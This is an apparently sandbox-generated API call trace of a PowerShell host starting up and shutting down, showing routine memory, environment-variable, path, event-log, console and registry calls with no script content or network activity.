	[0065.862] CoTaskMemFree (pv=0x31a000) 
	[0065.863] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3292b68*="Available", lpRawData=0x32928f8) returned 1
	[0065.865] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.865] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.865] CoTaskMemFree (pv=0x2a7990) 
	[0065.866] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.866] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.866] CoTaskMemFree (pv=0x2a7990) 
	[0065.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.876] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.876] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="C:") returned 0x2
	[0065.876] CoTaskMemFree (pv=0x2a7990) 
	[0065.876] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.876] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf
	[0065.876] CoTaskMemFree (pv=0x2a7990) 
	[0065.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.878] GetCurrentProcessId () returned 0xb90
	[0065.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.882] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.940] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.940] VirtualQuery (in: lpAddress=0x14b5f0, lpBuffer=0x14c4b0, dwLength=0x30 | out: lpBuffer=0x14c4b0*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.944] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.944] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.944] CoTaskMemFree (pv=0x2a7990) 
	[0065.976] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.976] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.976] CoTaskMemFree (pv=0x2a7990) 
	[0065.978] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.978] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.978] CoTaskMemFree (pv=0x2a7990) 
	[0065.982] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.982] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.982] CoTaskMemFree (pv=0x2a7990) 
	[0065.988] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0065.988] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.988] CoTaskMemFree (pv=0x2a7990) 
	[0065.992] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.992] CoTaskMemFree (pv=0x2a7990) 
	[0065.993] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.993] CoTaskMemFree (pv=0x2a7990) 
	[0066.099] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.258] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x2a7dd0
	[0066.529] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.532] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c250, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0066.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0066.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0066.602] VirtualQuery (in: lpAddress=0x14b8a0, lpBuffer=0x14c760, dwLength=0x30 | out: lpBuffer=0x14c760*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0066.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0066.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0066.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0066.610] CoTaskMemFree (pv=0x252ba0) 
	[0066.610] RegCloseKey (hKey=0x3b0) returned 0x0
	[0066.610] CoTaskMemFree (pv=0x252ba0) 
	[0066.610] RegCloseKey (hKey=0x3b0) returned 0x0
	[0066.611] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x2837350 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0
	[0066.611] CoTaskMemFree (pv=0x2837350) 
	[0066.611] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x14d2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b
	[0066.611] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x2837350 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0
	[0066.611] CoTaskMemFree (pv=0x2837350) 
	[0066.611] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x14d2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b
	[0066.613] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.613] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.613] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.613] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.613] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.614] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.614] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.614] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.615] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.615] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.615] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.619] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.619] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.619] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b0
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x360
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x384
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x388
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x38c
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x390
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x394
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x398
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b4
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x380
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a0
	[0066.621] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a4
	[0066.623] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.623] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.623] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.625] GetStdHandle (nStdHandle=0xfffffff6) returned 0x58
	[0066.626] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x14d840 | out: lpMode=0x14d840) returned 0
	[0066.627] GetConsoleCP () returned 0x1b5
	[0066.641] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.670] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x314
	[0066.671] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.709] ReadFile (in: hFile=0x58, lpBuffer=0x355be40, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x14d5d8, lpOverlapped=0x0 | out: lpBuffer=0x355be40*, lpNumberOfBytesRead=0x14d5d8*=0x4f, lpOverlapped=0x0) returned 1
	[0066.713] SetEvent (hEvent=0x3b0) returned 1
	[0066.713] SetEvent (hEvent=0x360) returned 1
	[0066.713] ReadFile (in: hFile=0x58, lpBuffer=0x355be40, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x14d5d8, lpOverlapped=0x0 | out: lpBuffer=0x355be40, lpNumberOfBytesRead=0x14d5d8*=0x0, lpOverlapped=0x0) returned 0
	[0066.713] SetEvent (hEvent=0x388) returned 1
	[0066.713] SetEvent (hEvent=0x3b0) returned 1
	[0066.713] SetEvent (hEvent=0x360) returned 1
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x374
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4dc
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x39c
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3bc
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c0
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3c4
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c8
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x418
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x41c
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4e8
	[0074.156] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x47c
	[0074.157] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x480
	[0074.157] SetEvent (hEvent=0x3bc) returned 1
	[0074.157] SetEvent (hEvent=0x374) returned 1
	[0074.157] SetEvent (hEvent=0x4dc) returned 1
	[0074.157] SetEvent (hEvent=0x39c) returned 1
	[0074.157] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6dc
	[0074.158] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d628 | out: phkResult=0x14d628*=0x6e0) returned 0x0
	[0074.158] RegQueryValueExW (in: hKey=0x6e0, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x14d5ac, lpData=0x0, lpcbData=0x14d5a8*=0x0 | out: lpType=0x14d5ac*=0x0, lpData=0x0, lpcbData=0x14d5a8*=0x0) returned 0x2
	[0074.173] SetEvent (hEvent=0x3c0) returned 1
	[0074.173] SetEvent (hEvent=0x3c4) returned 1
	[0074.173] SetEvent (hEvent=0x3c8) returned 1
	[0074.177] CoTaskMemAlloc (cb=0x104) returned 0x28865e0
	[0074.177] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0074.177] CoTaskMemFree (pv=0x28865e0) 
	[0074.188] SetEvent (hEvent=0x328) returned 1
	[0074.189] CoTaskMemAlloc (cb=0x804) returned 0x25b800
	[0074.189] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x25b800, nSize=0x14d6c8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d6c8) returned 0x1
	[0074.189] CoTaskMemFree (pv=0x25b800) 
	[0074.189] CoTaskMemAlloc (cb=0x204) returned 0x31c310
	[0074.189] GetUserNameW (in: lpBuffer=0x31c310, pcbBuffer=0x14d708 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d708) returned 1
	[0074.190] CoTaskMemFree (pv=0x31c310) 
	[0074.190] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x31a9620*="Stopped", lpRawData=0x31a93b0) returned 1
	[0074.191] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1
	[0074.193] CoGetContextToken (in: pToken=0x14f290 | out: pToken=0x14f290) returned 0x0
	[0074.193] CObjectContext::QueryInterface () returned 0x0
	[0074.193] CObjectContext::GetCurrentThreadType () returned 0x0
	[0074.193] Release () returned 0x0
	[0074.194] CoGetContextToken (in: pToken=0x14ee60 | out: pToken=0x14ee60) returned 0x0
	[0074.194] CObjectContext::QueryInterface () returned 0x0
	[0074.194] CObjectContext::GetCurrentThreadType () returned 0x0
	[0074.194] Release () returned 0x0
	[0074.195] CoGetContextToken (in: pToken=0x14ee60 | out: pToken=0x14ee60) returned 0x0
	[0074.202] CObjectContext::QueryInterface () returned 0x0
	[0074.202] CObjectContext::GetCurrentThreadType () returned 0x0
	[0074.202] Release () returned 0x0
	[0074.211] CoGetContextToken (in: pToken=0x14ee60 | out: pToken=0x14ee60) returned 0x0
	[0074.211] CObjectContext::QueryInterface () returned 0x0
	[0074.211] CObjectContext::GetCurrentThreadType () returned 0x0
	[0074.211] Release () returned 0x0
	[0074.269] CoGetContextToken (in: pToken=0x14ee50 | out: pToken=0x14ee50) returned 0x0
	[0074.269] CObjectContext::QueryInterface () returned 0x0
	[0074.269] CObjectContext::GetCurrentThreadType () returned 0x0
	[0074.269] Release () returned 0x0
	[0074.270] CoUninitialize () 

Thread:
	id = 103
	os_tid = 0xb9c


Thread:
	id = 104
	os_tid = 0xba0


Thread:
	id = 105
	os_tid = 0xba8


Thread:
	id = 106
	os_tid = 0xbc8


Thread:
	id = 107
	os_tid = 0xbcc

	[0060.480] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0064.500] LocalFree (hMem=0x2b7570) returned 0x0
	[0064.500] CloseHandle (hObject=0x32c) returned 1
	[0064.501] CloseHandle (hObject=0x13) returned 1
	[0064.501] CloseHandle (hObject=0x3) returned 1
	[0064.501] RegCloseKey (hKey=0x318) returned 0x0
